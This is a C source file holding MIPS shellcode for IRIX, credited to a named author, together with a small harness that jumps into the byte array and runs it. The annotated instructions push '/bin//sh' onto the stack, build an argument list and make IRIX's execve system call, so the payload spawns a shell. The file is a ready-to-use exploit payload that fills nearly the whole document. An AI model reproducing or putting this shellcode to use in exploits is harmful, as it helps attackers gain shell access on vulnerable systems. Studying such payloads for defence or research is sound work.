/*
 * This is shellcode for IRIX - MIPS processors.
 * Tested on R12000 processor with system IRIX64 6.5.26m
 *
 * --
 * Best regards pi3 (pi3ki31ny) - Adam Zabrocki
 * http://pi3.hack.pl
 *
 */

#include <stdio.h>

unsigned long int shellcode[] = {
                0x01294822,  /* sub     $9,$9,$9    */
    0x23bdfe44,     /* add     $29,$29,-444   */
    0xafa901bc,     /* sw      $9,444($29)    */
    0x23bd01bc,     /* add     $29,$29,444    */
    0x23bdfffc,     /* add     $29,$29,-4     */
    0x3c082f2f,     /* lui     $8,0x2f2f      */
    0x35087368,     /* ori     $8,$8,0x7368   */
    0x23bdfe44,     /* addi    $29,$29,-444   */
    0xafa801bc,     /* sw      $8,444($29)    */
    0x23bd01bc,     /* addi    $29,$29,444    */
    0x23bdfffc,     /* addi    $29,$29,-4     */
    0x3c082f62,     /* lui     $8,0x2f62      */
    0x3508696e,     /* ori     $8,$8,0x696e   */
    0x23bdfe44,     /* addi    $29,$29,-444   */
    0xafa801bc,     /* sw      $8,444($29)    */
    0x23bd01bc,     /* addi    $29,$29,444    */
    0x23bdfffc,     /* addi    $29,$29,-4     */
    0xafbd01bc,     /* sw      $29,444($29)   */
    0x8fa401bc,     /* lw      $4,444($29)    */
    0x208401cc,     /* addi    $4,$4,460      */
    0x2084fe38,     /* addi    $4,$4,-456     */
    0x01294822,     /* sub     $9,$9,$9       */
    0x23bdfe44,     /* addi    $29,$29,-444   */
    0xafa901bc,     /* sw      $9,444($29)    */
    0x23bd01bc,     /* addi    $29,$29,444    */
    0x23bdfe44,     /* addi    $29,$29,-444   */
    0xafa401b8,     /* sw      $4,440($29)    */
    0xafbd01b4,     /* sw      $29,436($29)   */
    0x8fa501b4,     /* lw      $5,436($29)    */
    0x20a501b8,     /* addi    $5,$5,440      */
    0x01294822,     /* sub     $9,$9,$9       */
    0x3126ffff,     /* andi    $6,$9,0xffff   */
    0x24020423,     /* li      $2,1059        */
    0x0101010c,     /* syscall                */
};

int main(void) {

  void *(*sym)(void)=shellcode;

  sym();
  printf("DONE...\n");

}